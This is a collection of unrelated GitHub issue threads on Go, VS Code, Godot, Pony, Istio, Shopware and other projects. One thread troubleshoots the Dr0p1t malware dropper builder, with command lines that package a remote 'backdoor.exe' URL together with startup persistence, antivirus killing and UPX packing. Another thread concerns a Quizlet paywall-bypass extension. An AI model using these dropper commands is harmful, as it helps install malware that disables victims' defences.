[AADJL] Adapt train_eval for training of Armand’s diverse models:

Make wrapper with transforms for datasets.

Prepare checkpoint for pickling/unpickling before saving/loading; use case: when need to remove unpicklable local attributes.


Google Source down

go get https://go.googlesource.com/sys/
fatal: unable to access 'https://go.googlesource.com/sys/': The requested URL returned error: 502

Thanks for reporting this.
This is already tracked in #36048, feel free to subscribe to that issue. Closing here as a dup.

This url "https://go.googlesource.com/net" had same problem. Please fix it.
Thanks


Re-evaluate the need for GrpcEnvironment.Initialize() and Shutdown()

More options here:
-- Make Initialize() become lazy and figure out when to call Shutdown().
-- alternatively, we can provide a meaningful error message if user fails to call Initialize()
https://groups.google.com/forum/?utm_medium=email&utm_source=footer#!msg/grpc-io/KltzNhkNHng/n9UHsxm-dmYJ

Also document what happens if we don't call shutdown.


fail safe for re-execution of the promise if the option changes.

Hi,
This may be a niche scenario, but is it possible to make a way to reset the promise when the options are changed? I want to know if this is a good idea before trying to solve it.
My exact scenario is changing the language. So checking the code option is

if I delete the promise and then tag a id for the script tag. so that when an options change I reload it with another script.

Nevermind. This seems like a really bad idea... closing it.


Allow showing intellisense without pre-selected item

In Kusto we have a desktop tool (http://aka.ms/ke) using Dev Express libraries where the IntelliSense does not pre-select any of the items, and any key that is not alphanumeric dismisses the IntelliSense without committing anything. We find this behavior much more intuitive and friendly for authoring Kusto queries.
Here is an example of the two behaviors:
In Kusto explorer, hitting enter or any other key will dismiss the intellisense:

While in Monaco hitting enter will commit the “and” requiring the user to either hit escape of delete the committed text:

Thanks Avner Aharoni

A finer point to note is that in Kusto desktop tool, if intellisense was triggered by the user, the value is preselected.
Only if the intellisense is triggered programmatically it is not preselected.
so we need to have this mode only when calling editor.trigger (somehow need to have this as a parameter to the call
editor.trigger('monaco-kusto', 'editor.action.triggerSuggest', {})

This feature request is now a candidate for our backlog. The community has 60 days to upvote the issue. If it receives 20 upvotes we will move it to our backlog. If not, we will close it. To learn more about how we handle feature requests, please see our documentation.
Happy Coding!

Let's use June to figure out how this should work and how this should be done. Might also be interesting to explore if inline completions (aka ghost text) can be used here

fyi @lidermanrony lastest bit in main support a noSelection-argument, e.g with editor.trigger('monaco-kusto', 'editor.action.triggerSuggest', { noSelection: true }) you should be able to trigger suggest without an (initial) selection

@lidermanrony @avneraa do those changes work for you? Did we reach happyness?

Sort of related to this, can #85768 be reconsidered? It didn't get enough upvotes when a Backlog Candidate a couple of years ago.

Hi,
We want to to have this noSelection option whenever the user is pressing the "triggerCharacters" in the CompletionProvider.
Lets say the trigger character is a space character, then we want to be able to configure that after pressing the space character, and showing the completion items, then there will be nothing selected by default.
But if the user has started typing, or is in the middle of the word, then we do want the best option to be preselected.
Is it possible to expose us this kind of mode?
Thanks!

Awesome Gil!
From: gil-koifman @.>
Sent: Thursday, November 3, 2022 10:02 AM
To: microsoft/vscode @.>
Cc: Avner Aharoni @.>; Mention @.>
Subject: Re: [microsoft/vscode] Allow showing intellisense without pre-selected item (Issue #151336)
Hi,
We want to to have this noSelection option whenever the user is pressing the "triggerCharacters" in the CompletionProvider.
Lets say the trigger character is a space character, then we want to be able to configure that after pressing the space character, and showing the completion items, then there will be nothing selected by default.
But if the user has started typing, or is in the middle of the word, then we do want the best option to be preselected.
Is it possible to expose us this kind of mode?
Thanks!

Reply to this email directly, view it on GitHubhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fmicrosoft%2Fvscode%2Fissues%2F151336%23issuecomment-1301754510&data=05|01|avnera%40microsoft.com|2c7a3e68bfdb410294af08dabd71bcfc|72f988bf86f141af91ab2d7cd011db47|1|0|638030593467802567|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=bTwB2BBJG12ZoO%2Bz%2FB3kKHE%2F1vgNjw1H2i8LUKaVKTE%3D&reserved=0, or unsubscribehttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FABAQQRXJJBJ7YPVK7BO25I3WGNWQ5ANCNFSM5X7KJ7QA&data=05|01|avnera%40microsoft.com|2c7a3e68bfdb410294af08dabd71bcfc|72f988bf86f141af91ab2d7cd011db47|1|0|638030593467959246|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=FWXH%2BwaQtfQ6z1b1UMwvGbjZO%2BQk%2B8FDrr49EspOGNg%3D&reserved=0.
You are receiving this because you were mentioned.Message ID<EMAIL_ADDRESS>

@gil-koifman @avneraa Just to clarify: assuming this is an editor option (noSelectOnTriggerCharacter and noSelectOnQuickSuggest) would you still need the noSelection argument (https://github.com/microsoft/vscode/issues/151336#issuecomment-1177201590) or can I remove that again?

@jrieken That depends.. Will "noSelectOnQuickSuggest" take care of this for us? We do still need the ability to manually trigger the completion list using the trigger "editor.action.triggerSuggest", and have the no selection capability with it.

Yeah, should still be possible. The editor.action.triggerSuggest command accepts an auto-flag which will tell it to act as if quick suggest is on

Sort of related to this, can https://github.com/microsoft/vscode/issues/85768 be reconsidered? It didn't get enough upvotes when a Backlog Candidate a couple of years ago.

@gjsjohnmurray Will be similar but not a selection mode. It will be an option that's only applicable for auto-suggest (quick suggest and trigger characters)

This is done and behind the (non documented) editor.suggest.selectQuickSuggestions options. fyi @avneraa @gil-koifman

To verify

set the setting editor.suggest.selectQuickSuggestions: false
trigger suggest manually (ctrl+space) and make sure there is a focused suggestion
trigger suggest automatically, via typing or via trigger character, and make sure no suggested is focused. press ctrl+space again and ensure a suggestion is now focused

@jrieken
Hey, thanks for this change, i verified and it worked.
There is a tweak that we would prefer to have, if possible:
If the user pressed the "triggerCharacters", in our case it's "space", then when the suggestion list shows - nothing will be selected. This is implemented in your solution.
But if the user started typing something, or started deleting characters from an existing word, then we do want the first option to be selected. In the above solution, nothing will be selected.

Works as expected -> verified.
However the setting is hidden, it can not be discovered by the users. @jrieken is this expected?

it can not be discovered by the users. @jrieken is this expected?

Yeah, for now it is just a monaco editor thing

But if the user started typing something, or started deleting characters from an existing word, then we do want the first option to be selected. In the above solution, nothing will be selected.

@gil-koifman Can you please create a new issue for that. Thanks


Add a parse mode for GDScript which doesn't load dependencies

This allow the filesystem scan thread to get the class_name scripts without loading extra resources.
Also added a get_dependencies() method to the GDScript resource loader, so now the preloaded resources are also included as dependencies when exporting.
Also added a function to FileAccess to get the file as a String, since it's not trivial to do.
Should fix #17513.

Sorry to open this topic again. But I can't find anything on how to use the get_dependencies() function and still encountered issues in the newest version 3.2.  I'm using Marc Gilleron's Terrain plugin, which loads its binary map data. But when exporting the project it will crash as soon as it tries to load the terrain.
The only thing I can currently make to make it work is selecting all resources by hand (checking each single checkbox) when exporting. Which is quite cumbersone in big projects I guess...

@SlothDevLlama I missed this, but you should open a new issue if there's still a problem so we can track it.


Add pony_acquire and pony_release functions

As discussed in #675. Please do not merge yet.
This is the algorithm @sylvanc suggested. My implementation seems to work in all 4 cases (local acquire/local release, remote acquire/local release, local acquire/remote release and remote acquire/remote release) but there are some issues to resolve.

What if the memory wasn't Pony-allocated? Should we assert or just let it crash?
Currently, acquiring an object more than one time is possible and requires multiple releases to allow collection. Is this a problem?
Should we have separate functions for local and remote like the other functions in gc.c?
Do we need unit tests for this? Maybe as a separate PR?
Are the function names right?
Are the function parameters right?

This is very much the right idea, and your questions are all exactly the right questions :)

If the memory isn't pony allocated, then it should be dealt with as in ponyint_gc_markobject: don't do anything with the memory passed in, but do recurse if a trace function was supplied.
Multiple acquires, resulting in needing multiple releases, is exactly the right behaviour. It's effectively manual reference counting.
Yes, separate functions for local and remote would be good. Also, functions for acquire/release on an actor. (More on implicit owner reference counts below.)
Unit tests definitely needed, ideally in the same PR.
I think the function names should mirror the trace function names, and have those call the correct functions in gc.c (in a similar way to the trace functions).

Effectively, this code is a form of tracing, where every object encountered either increments a local RC or generates an RC increment message for the owner (or decrement, for release), so it should follow the same pattern as the trace code.
Another element is that pinning memory allocated by some actor also needs to make sure that actor is not collected. This means that for every bit of memory that has its RC increased, we also need to increase the RC of that memory's allocating actor.
Normally, in the trace code for send/receive, this is done by calling, for example, send_remote_actor for the allocating actor when we call send_remote_object. During send/receive, we only want to change the RC for any given allocating actor once, which is accomplished with the aref->mark.
However, when acquiring/releasing objects, this is complicated. Let's say we acquire an object that points to another object (and there is an appropriate trace function). Now we have implicitly acquired both objects. If they were both allocated by the same actor, should we acquire that allocating actor twice? Or just once?
The answer depends on our use case. If we will only ever release the object we acquired, and we can be sure we will trace it in the same way (that is, the objects it points to have not changed), then we can acquire the allocating actor only once.
But this brings up something even more complicated. If we will mutate the object graph after acquiring it, then if we release it, we will:

Release things we have not acquired (i.e. the new things in the object graph). This will cause segfaults.
Not release things that we have acquired (i.e. the things remove from the object graph). This will cause memory leaks.

I suspect the right answer is to:

Acquire/release the allocating actor separately for every object in the graph.
Make it clear in the documentation that adding or removing elements from an acquired object graph must involve acquiring anything that is added, and releasing anything that is removed.

Thoughts?

I agree with that, it looks like the best solution.
However, something else occurred to me. Since each type have only one trace function calling the trace* GC functions, we need to set trace_object and trace_actor in pony_ctx_t to the acquire/release functions and use setup/cleanup functions like the send/recv ones. Right?

Yes, good point!

There's a small concern about cyclic object graphs. To avoid infinite trace recursion, we need to mark already acquired objects (but not actors). But that would mean we can't acquire separate objects in a cycle (effectively acquiring the whole graph multiple times) in a single pony_gc_acquire/pony_acquire_done round.
Maybe this isn't really an issue (I don't expect cyclic graphs to be a common case here) and we just need to document it. What do you think?

I think this new version addresses most of the previous concerns, if not all.
Regarding unit tests, I'm not really sure how to proceed. It would require an active runtime as it relies on message sending but the current testing facility of libponyrt doesn't support this. It could also be done in Pony with some FFI but I don't really like this solution. I think it would be possible to setup the runtime for the libponyrt tests and do the tests via pure C actors (and also add tests for the existing code). It would probably require a bit of work so it may be better to merge this if everything looks good to you, and add the unit tests later.

Sorry it took me so long to go through this - this looks good!
I would merge it, but sadly I've left it too long, and there are merge conflicts. Any chance you could resolve them?

Done.

Awesome, thanks!


Fix permissions for private data

Not sure if bug in Fabrica or in Hyperledger Fabric. TLDR; unauthorized organization can put private data. See #156 for more details.

it's a feature, see https://jira.hyperledger.org/browse/FAB-18445


Anyway to mimic the 'javadoc.failOnError=false' functionality for this plugin?

I've got a multi-module build and would like to set the javadoc.failOnError=false flag but can't seem to make it work. I've tried overriding all tasks of type Javadoc, both at the global level and for 'allprojects', and still can't seem to make it stick. Any ideas?

You'd need to set it for the task aggregateJavadocs. Alternatively, use tasks.withType(Javadoc).

I've tried this:
allprojects { 	tasks.withType(Javadoc) { 		failOnError false  	} }
and while it succeeds nothing is found under 'build/docs/javadoc'. Each projects docs are created but it seems they are not being aggregated for whatever reason.
Attempting to set it for aggregateJavadocs fails saying 'no property javadocs exists for task'.

You will probably have to wrap your logic into afterEvaluate. The task isn't created before all subprojects are evaluated.

@cdancy were you able to resolve this?

Yes. Feel free to close. My apologies for not saying something months ago.


Strong matchingi os11 [PLATFORM-542]

This is just a POC for strong matching in iOS 11 where it illustrates the user experience. Do not merge this PR.

Result of Integration 1
Duration: 11 minutes and 34 seconds
Result: All 220 tests passed, but please fix 1 warning.
Test Coverage: 63%

Result of Integration 2
Duration: 11 minutes and 12 seconds
Result: All 220 tests passed, but please fix 1 warning.
Test Coverage: 63%

Result of Integration 3
Duration: 12 minutes and 17 seconds
Result: Build failed 1 test out of 220

Result of Integration 4
Duration: 10 minutes and 47 seconds
Result: All 220 tests passed, but please fix 1 warning.
Test Coverage: 63%

High level - I think this should work, as long as we update the API and link service to plug into this code. A couple comments:

Please add some comment describing the additional code and its functionality
We'll need extensive crash testing on the update to the session params. This can cause trouble if there are reads in progress to that dictionary simultaneously while the update is occurring.

Result of Integration 6
Duration: 11 minutes and 23 seconds
Result: All 223 tests passed, but please fix 1 warning.
Test Coverage: 62%

Result of Integration 7
Duration: 10 minutes and 39 seconds
Result: Build failed 1 test out of 223

This is blocked on a back-end change still.


Istio Disaster Recovery: Cold Starts

When (cold) starting an Istio cluster as part of disaster recovery many subsystems get stressed in an unusual way.

Citadel: Start is gated by Citadel issuing certificates.
a. Test and measure how long it takes to issues many concurrent certs
b. re-order cert issue order: Issue import certs first like istio-system or istio-control so other istio components can start first.
@myidpt @rlenglet @ZackButcher

Pilot: During a big concurrent start pilot must push excessive amounts of config thru the system churn.
a. Test and measure what is the impact
b.  Consider if this case requires special attention.
@costinm

Galley - Start of Galley holds up Pilot, perhaps not much needs to be done here.

/cc @JimmyCYJ
For Citadel:
a. I believe issuing many concurrent certs is needed only when SDS is used, with the file mount approach, the keys and certs are in persistent storage (etcd) so no need to reissue the certs. For  SDS stress tests, it's in our Code Mauve plan. Expected to be done in Q4.
b. This feature makes sense when there are a large number of service accounts in the system, and Citadel needs to issue certs for all in a batch. This won't happen due to a disaster though, unless the etcd is tampered in the disaster.

Galley - Start of Galley holds up Pilot, perhaps not much needs to be done here.

I don't think we can do much here other than smart ordering with operator/installer. We cannot serve until we connect to galley or we would generate incorrect configs (missing rbac rules)

Pilot: During a big concurrent start pilot must push excessive amounts of config thru the system churn.

In 1.3 pilot handles this pretty well by deduping pushes. We may want to increase debounce time from 100ms to something slightly higher (250ms?).
One concern is the discoveryrequests follow a different codepath, so we can have an infinite number of discoveryrequests being handled at one time, which may lead to decreased performance (ideally, we have exactly the amount of requests pilot can handle without being throttled).

For Citadel:
a. I believe issuing many concurrent certs is needed only when SDS is used, with the file mount approach, the keys and certs are in persistent storage (etcd) so no need to reissue the certs. For SDS stress tests, it's in our Code Mauve plan. Expected to be done in Q4.
b. This feature makes sense when there are a large number of service accounts in the system, and Citadel needs to issue certs for all in a batch. This won't happen due to a disaster though, unless the etcd is tampered in the disaster. We can prioritize this work for Q4.

My understanding of disaster recovery would be like this, when there are already many workloads running in a cluster managed by Istio, at certain time we cold start Istio for recovery purposes. Given how many service accounts are there to run workloads, with SDS approach, Citadel receives that number of CSRs concurrently and issues certificates.


Compile

Solved ?[
] Creating DR0P3R..
[] Adding startup function..
[] Adding task function..
[] Adding kill antivirus function..
[] Saving the final file..
[] Compiling the final file to exe..
[*] Compressing the final file..
Traceback (most recent call last):
File "Dr0p1t.py", line 216, in
main()
File "Dr0p1t.py", line 205, in main
make_copy( os.path.join("temp","dist",file_name),os.path.join("output",file_name) )
File "Dr0p1t.py", line 53, in make_copy
old_file = open( old,"rb" )
IOError: [Errno 2] No such file or directory: 'temp/dist/Your_daily_malware_54'

This happens because of pyinstaller didn't compile the file for some how,make sure you run the script as root if you are on linux.
Try can also try checking if pyinstaller on the last version with pip by command
pip install pyinstaller --upgrade

if this didn't work try reinstalling pyinstaller by
pip uninstall pyinstaller
pip install pyinstaller

You can also try use --nocompile option to compile the script by your self or you can replace line 190,191,192 in dr0p1t.py with this line :
p  = subprocess.call( command.format(file_name+".py") )
which will give you output so I know where's the error from

Can confir same problem! Tried it out on kali linux rolling and also backbox vmware!!

try what I said before or wait for the next version

So i changed the lines you told above here is output and some screens!
└──╼ $sudo ./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --upx
_______                                                           ...-'  |`.
\  ___ `'.   -- [D]r0p1t [F]ramework --   _________   _...._      |      |  |
 ' |--.\  \                               \        |.'      '-.   ....   |  |
 | |    \  '  .-,.--.      .-''` ''-.      \        .'```'.    '.   -|   |  |        .|
 | |     |  ' |  .-. |   .'          '.     \      |       \     \   |   |  |      .' |_
 | |     |  | | |  | |  /              `     |     |        |    |...'   `--'    .'     |
 | |     ' .' | |  | | '                '    |      \      /    . |         |`. '--.  .-'
 | |___.' /'  | |  '-  |         .-.    |    |     |\`'-.-'   .'  ` --------\ |    |  |
/_______.'/   | |      .        |   |   .    |     | '-....-'`     `---------'     |  |
\_______|/    | |       .       '._.'  /    .'     '.                              |  '.'
              |_|        '._         .'   '-----------'                            |   /
                            '-....-'`                                              `'-'

Author  : Karim Shoair ( D4Vinci )
Version : 1.1  Codename : Last Cobra

[+] Malware url : https://test.com/backdoor.exe
[+] Modules :
Add to startup		: [ Loaded ]
Add to task		: [ Loaded ]
Kill antivirus		: [ Loaded ]
Load BAT file		: [Unloaded]
Load PS1 file		: [Unloaded]
Load VBS file		: [Unloaded]
Compress with UPX	: [ Loaded ]
[+] Loaded scripts :
BAT file : None
PS1 file : None
VBS file : None
[] Creating DR0P3R..
[] Adding startup function..
[] Adding task function..
[] Adding kill antivirus function..
[] Saving the final file..
[] Compiling the final file to exe..
[Errno 2] No such file or directory: 'pyinstaller --noconsole -F Your_daily_malware_82.py '
[!] Error in compiling file,are you sure pyinstaller is installed ?
┌─[mrevil@parrot]─[~/Dr0p1t-Framework]
└──╼ $pip install pyinstaller
Collecting pyinstaller
Collecting setuptools (from pyinstaller)
Using cached setuptools-34.3.0-py2.py3-none-any.whl
Collecting appdirs>=1.4.0 (from setuptools->pyinstaller)
Using cached appdirs-1.4.2-py2.py3-none-any.whl
Collecting packaging>=16.8 (from setuptools->pyinstaller)
Using cached packaging-16.8-py2.py3-none-any.whl
Collecting six>=1.6.0 (from setuptools->pyinstaller)
Using cached six-1.10.0-py2.py3-none-any.whl
Collecting pyparsing (from packaging>=16.8->setuptools->pyinstaller)
Using cached pyparsing-2.1.10-py2.py3-none-any.whl
Installing collected packages: appdirs, pyparsing, six, packaging, setuptools, pyinstaller
Successfully installed appdirs-1.4.2 packaging-16.8 pyinstaller-3.2.1 pyparsing-2.1.10 setuptools-34.3.0 six-1.10.0
┌─[mrevil@parrot]─[~/Dr0p1t-Framework]
└──╼ $sudo ./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --upx
 ,gggggggggggg,    ,ggggggggggg,      ,a888a,     ,ggggggggggg,      88  ,ggggggggggggggg
dP"""88""""""Y8b, dP"""88""""""Y8,  ,8P"' `"Y8,  dP"""88""""""Y8,  ,d88 dP""""""88"""""""
Yb,  88       `8b,Yb,  88      `8b ,8P       Y8, Yb,  88      `8b888888 Yb,_    88
 `"  88        `8b `"  88      ,8P 88         88  `"  88      ,8P    88  `""    88
     88         Y8     88aaaad8P"  88         88      88aaaad8P"     88         88
     88         d8     88""""Yb,   88         88      88"""""        88         88
     88        ,8P     88     "8b  88         88      88             88         88
     88       ,8P'     88      `8i `8b       d8'      88             88   gg,   88
     88______,dP'      88       Yb, `8ba, ,ad8'       88             88    "Yb,,8P
    888888888P"        88        Y8   "Y888P"         88             88      "Y8P'
                                            -- [D]r0p1t [F]ramework --

Author  : Karim Shoair ( D4Vinci )
Version : 1.1  Codename : Last Cobra

[+] Malware url : https://test.com/backdoor.exe
[+] Modules :
Add to startup		: [ Loaded ]
Add to task		: [ Loaded ]
Kill antivirus		: [ Loaded ]
Load BAT file		: [Unloaded]
Load PS1 file		: [Unloaded]
Load VBS file		: [Unloaded]
Compress with UPX	: [ Loaded ]
[+] Loaded scripts :
BAT file : None
PS1 file : None
VBS file : None
[] Creating DR0P3R..
[] Adding startup function..
[] Adding task function..
[] Adding kill antivirus function..
[] Saving the final file..
[] Compiling the final file to exe..
[Errno 2] No such file or directory: 'pyinstaller --noconsole -F Your_daily_malware_26.py '
[!] Error in compiling file,are you sure pyinstaller is installed ?
┌─[mrevil@parrot]─[~/Dr0p1t-Framework]
└──╼ $python Dr0p1t.py https://test.com/backdoor.exe -s -t -k --upx
Traceback (most recent call last):
File "Dr0p1t.py", line 216, in
main()
File "Dr0p1t.py", line 78, in main
prepare_folder("temp")
File "Dr0p1t.py", line 71, in prepare_folder
xx = os.mkdir(folder)
OSError: [Errno 17] File exists: 'temp'
┌─[✗]─[mrevil@parrot]─[~/Dr0p1t-Framework]
└──╼ $sudo python Dr0p1t.py https://test.com/backdoor.exe -s -t -k --upx
_______                                                           ...-'  |`.
\  ___ `'.   -- [D]r0p1t [F]ramework --   _________   _...._      |      |  |
 ' |--.\  \                               \        |.'      '-.   ....   |  |
 | |    \  '  .-,.--.      .-''` ''-.      \        .'```'.    '.   -|   |  |        .|
 | |     |  ' |  .-. |   .'          '.     \      |       \     \   |   |  |      .' |_
 | |     |  | | |  | |  /              `     |     |        |    |...'   `--'    .'     |
 | |     ' .' | |  | | '                '    |      \      /    . |         |`. '--.  .-'
 | |___.' /'  | |  '-  |         .-.    |    |     |\`'-.-'   .'  ` --------\ |    |  |
/_______.'/   | |      .        |   |   .    |     | '-....-'`     `---------'     |  |
\_______|/    | |       .       '._.'  /    .'     '.                              |  '.'
              |_|        '._         .'   '-----------'                            |   /
                            '-....-'`                                              `'-'

Author  : Karim Shoair ( D4Vinci )

Version : 1.1  Codename : Last Cobra

[+] Malware url : https://test.com/backdoor.exe
[+] Modules :
Add to startup		: [ Loaded ]
Add to task		: [ Loaded ]
Kill antivirus		: [ Loaded ]
Load BAT file		: [Unloaded]
Load PS1 file		: [Unloaded]
Load VBS file		: [Unloaded]
Compress with UPX	: [ Loaded ]
[+] Loaded scripts :
BAT file : None
PS1 file : None
VBS file : None
[] Creating DR0P3R..
[] Adding startup function..
[] Adding task function..
[] Adding kill antivirus function..
[] Saving the final file..
[] Compiling the final file to exe..
[Errno 2] No such file or directory
[!] Error in compiling file,are you sure pyinstaller is installed ?
┌─[mrevil@parrot]─[~/Dr0p1t-Framework]
└──╼ $

Take look if i changed code like i should?

And like you can see its Parrot OS, And python versions:

Thank you for your concern!
The problem is there's no correct support for cross-platform compiling till now but I will fix it in the next version.
Untill I finish the next version you can use --nocompile option to not compile the script and then use pyinstaller on wine to compile it by yourself and for windows you can add --noupx to the command variable and it will work!

ok i gonna try and wait your next release! Idea and script is awesome!

Checkout for the new release !
Issue fixed thank you 😃

Confirmed! Thanks gonna have fun tmrw!!

Happy hunting ;)

Hello getting error when run on windows machine Import error Your_daily_malware....
had no time to debug, but will update issue after!


Unknown database type enum requested, Doctrine\DBAL\Platforms\MySQL57Platform may not support it.

Describe the bug
This extension doesn't allow apps, that are based on shopware 6's app system, to be installed/uninstalled correctly. The following error appears on installation/uninstallation of such apps:
"Unknown database type enum requested, Doctrine\DBAL\Platforms\MySQL57Platform may not support it."
To Reproduce
Steps to reproduce the behavior:

Install this extension
Install an app, that is based on the app system. E.g. shopware's pop up extension
The installation and activation is correct
Now, uninstall the app and click "remove app data permanently"
The error above appears.

Expected behavior
No issue appears and the uninstallation process of the app works correctly.
Additional context
I have seen this issue a couple of times already. Sometimes the issue appears on installation, sometimes on uninstallation of apps. Especially on installation this is a major compatibility issue with apps, since they are not correctly embedded into shopware, because template files (html.twig) cannot be written into the corresponding database table.
Origin: In HiPay\Payment\Migration\Migration.php you are using ENUM data types, which Shopware doesn't fully support.
If you need more info, feel free to contact me any time<EMAIL_ADDRESS>(Luca Hollenbach)

Hello !
Thank you for this bug report, we will add the fix to our ROADMAP ASAP !

This has been fixed on version 1.0.3 ~> https://github.com/hipay/hipay-enterprise-shopware-6/releases/tag/1.0.3


[Testerina] Code coverage fails with nio.AccessDeniedException when having extra tests

Description:
When adding extra tests to the code coverage, the windows build fails with the following error
testerina-intg-test-suite > testerina-intg-tests > org.ballerinalang.testerina.test.TestReportTest > testWithCoverage STANDARD_ERROR
    Feb 17, 2021 5:37:31 AM org.ballerinalang.test.context.ServerLogReader feedAndPrint
    SEVERE: error: unable to clean the target directory: Unable to delete directory C:\Users\RUNNER~1\AppData\Local\Temp\bal-test-integration-testerina-project-17320448599123816210\project-based-tests\test-report-tests\target\report.

testerina-intg-test-suite > testerina-intg-tests > org.ballerinalang.testerina.test.TestReportTest > testWithCoverage FAILED
    java.nio.file.AccessDeniedException: C:\Users\RUNNER~1\AppData\Local\Temp\bal-test-integration-testerina-project-17320448599123816210\project-based-tests\test-report-tests\target\report\test_results.json
        at java.base/sun.nio.fs.WindowsException.translateToIOException(WindowsException.java:89)
        at java.base/sun.nio.fs.WindowsException.rethrowAsIOException(WindowsException.java:103)
        at java.base/sun.nio.fs.WindowsException.rethrowAsIOException(WindowsException.java:108)
        at java.base/sun.nio.fs.WindowsFileSystemProvider.newByteChannel(WindowsFileSystemProvider.java:235)
        at java.base/java.nio.file.Files.newByteChannel(Files.java:371)
        at java.base/java.nio.file.Files.newByteChannel(Files.java:422)
        at java.base/java.nio.file.spi.FileSystemProvider.newInputStream(FileSystemProvider.java:420)
        at java.base/java.nio.file.Files.newInputStream(Files.java:156)
        at java.base/java.nio.file.Files.newBufferedReader(Files.java:2839)
        at org.ballerinalang.testerina.test.TestReportTest.runCommand(TestReportTest.java:129)
        at org.ballerinalang.testerina.test.TestReportTest.testWithCoverage(TestReportTest.java:77)

Steps to reproduce:
Add the following changes removed by the commit : https://github.com/ballerina-platform/ballerina-lang/pull/28236/commits/756304ba029297ebffd19009934fa12e5d91b4ca
Affected Versions:
OS, DB, other environment details and versions:
Related Issues (optional):

Suggested Labels (optional):

Suggested Assignees (optional):

@Ibaqu Shall we add what we are trying to test with these extra tests for clarity?
Also let's see whether the issue still persists because we've done some changes to the code coverage implementation now.

The tests I attempted to add were to validate the code coverage when using the --tests flag for module wise execution.
This was to make sure that multiple flags could be used in tandem with the correct results.
Changes removed in the commit : https://github.com/ballerina-platform/ballerina-lang/commit/756304ba029297ebffd19009934fa12e5d91b4ca tests the code coverage as well as refactors the entire test case.


Add personal "Projects" link to GitHub header menu

Hi! User-owned project boards are still a relatively new feature, but it would nice to have quick access to these in the GitHub header menu (.HeaderMenu). Adding a "Projects" link that goes to https://github.com/{username}?tab=projects would be great.
Current UI

Proposed UI

The problem
For now, personal project boards don't show up in global search. In the search below, I was able to pull up a project board associated with a repo, but I can't find personal project boards.

I execute a search and can't select projects from the filtering options.

To use personal project boards I need to go to my profile and select from these options that don't have a huge bearing on my day-to-day workflow.

Thanks for your consideration. And thank you to the maintainers + community for making such a useful browser extension!

The Projects link is already 2-clicks away on every page, this wouldn't be a big improvements.
Additionally, projects are used relatively little and Refined GitHub actually hides references to them whenever possible.


[EasyCodingStandart] Type error when running check-cs

Check screenshot please. PHP 7.1.2

Could you narrow down, which package or file is causing that?
... check pagkages/DefaultAutowire/...

DoctrineMigrations it is:
➜  symplify git:(master) packages/EasyCodingStandard/bin/easy-coding-standard check packages/DoctrineMigrations
   26/2681 [░░░░░░░░░░░░░░░░░░░░░░░░░░░░]   0%

  [Symfony\Component\Debug\Exception\FatalThrowableError]
  Type error: Argument 3 passed to Symplify\CodingStandard\TokenWrapper\DocBlockWrapper::createFromFileAndPosition() must be of the type integer, boolean given, called in /Users/janmikes/Sites/symplify/packages/CodingStandard/src/
  TokenWrapper/PropertyWrapper.php on line 90

check [--fix] [--clear-cache] [--] <source> (<source>)...

What file?

  symplify git:(master) packages/EasyCodingStandard/bin/easy-coding-standard check packages/DoctrineMigrations/vendor/composer/ClassLoader.php
 1/1 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%

  [Symfony\Component\Debug\Exception\FatalThrowableError]
  Type error: Argument 1 passed to Symplify\CodingStandard\Sniffs\WhiteSpace\InBetweenMethodSpacingSniff::getNextLineContent() must be of the type integer, null given, called in /Users/janmikes/Sites/symplify/packages/CodingStanda
  rd/src/Sniffs/WhiteSpace/InBetweenMethodSpacingSniff.php on line 80

check [--fix] [--clear-cache] [--] <source> (<source>)...

Oh men, i know what the problem is, i run composer install in the package so i could run tests, when removing vendor folder it is okay.

All-right then, happy ending :+1: happy

So this is resolved?

Yes, i would say it was my fault :-)

I'd say it was Internet's fault :)
Thanks.


Fix build (unused parameter) under mac/cmake/clang

Only seems to impact the mac cmake build (not the xcode build). Linux
build is unaffected since there's an ifdef objc at the top of the file.

@schmidt-sebastian is traveling.
LGTM aside from format issues.


Not working

Platform informations

Browser (Chrome)
Extension version (1.4.5)
[ ] Manually built extension

Not working
Its doing nothing
I did all of the installation steps and it's doing nothing
It should bypass Quizlet paywall
it's not working. the only thing it's doing is showing "0 Avoided paywalls" when you press the extention
Steps to reproduce
Steps to reproduce the behaviour:

Go to this quizlet
try to do test/learn
it will let you do it one time only

Can you check if #191 fixes your problem?

+1, #191 does not fix my problem

Does this build work?

Does this build work?
No

When you open Quizlet does the profile icon on the top right change?
Yes

Steps to reproduce
Steps to reproduce the behaviour:

Go to this quizlet

try to do test/learn

it will let you do it one time only

It looks like you are trying to access a different feature from textbook solutions, if so see my reply in #215


<!-- HTML comments displaying in protocol spec

Hi Security team,
Could you please check the output of your Security doc in the Protocol Spec here: https://github.com/hyperledger/fabric/blob/master/docs/protocol-spec.md
There are a number of what look like HTML comments  that are displaying externally to the readers / in the browser.
In particular 4.3.1 on ... you could search the browser window for <!--
Though .md supports HTML, I believe the requirement is that any HTML tags have to start and end on their own line in an .md doc. You could try that. No guarantee
that .md supports HTML comments though - there is likely an .md-specific comment tag, if that doesn't work.
Please check and/or request our assistance (ID / me and Nick) as needed, thanks!
Thanks,
Josh

Looks like this is github specify defect. I can not reproduce this issue in my sublime markdown preview.

per SO, the most universal "comment" syntax is to abuse the link label
eg. (on separate line)

Fixed by Chris, thanks. HTML has to be on its own line in .md.


Comick late with manga updates compared to website

Source information
1.4.5
Source language
English
Steps to reproduce
Blue lock has released a new chapter and it's not possible to update it or open in. (https://comick.io/comic/03-blue-lock)
Tried updating manually and tried opening the link in the app
Expected behavior
Comick should update and provide latest chapter and when opening the link should open the chapter
Actual behavior
Blue Lock page is opened but there is no latest chapter.
Mihon/Tachiyomi version
0.17.0
Android version
Android 15
Other details
No response
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open or closed issue.
[X] I have written a short but informative title.
[X] I have updated the app to version 0.15.3.
[X] I have updated all installed extensions.
[X] I have tried the troubleshooting guide.
